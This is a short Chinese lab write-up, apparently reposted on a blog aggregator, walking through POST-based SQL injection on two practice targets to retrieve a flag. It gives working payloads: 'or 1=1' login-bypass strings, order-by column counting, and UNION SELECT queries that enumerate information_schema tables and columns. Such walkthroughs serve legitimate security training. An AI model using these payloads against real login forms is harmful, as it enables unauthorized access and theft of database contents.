简单的POST sql注入
生活随笔
收集整理的這篇文章主要介紹了
简单的POST sql注入
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
靶場一
輸入任意密碼查看輸出
發現輸出有單引號
所以試試萬能密碼' or 1=1 -- qwe
可以成功
判斷字段數
輸入 order by 語句
有3個字段,第4個字段找不到
判斷輸入點
為2,3
查詢表名
‘ or 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 — qwe
找到flag表
查詢列名
‘ and password=’’ or 1=2 union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name=’flag’ limit 0,1 — qwe’
找到flag
查詢flag
‘ and password=’’ union select 1,2,flag from flag limit 0,1 #
提交flag
提交成功
靶場二
我們需要用雙引號和括號使之閉合,所以萬能密碼為 ") or 1=1 -- qwe
剩下的操作與作業一類似
直接放結果
總結
以上是生活随笔為你收集整理的简单的POST sql注入的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [react] react有几种构建组件
- 下一篇: [react] 你最喜欢React的哪一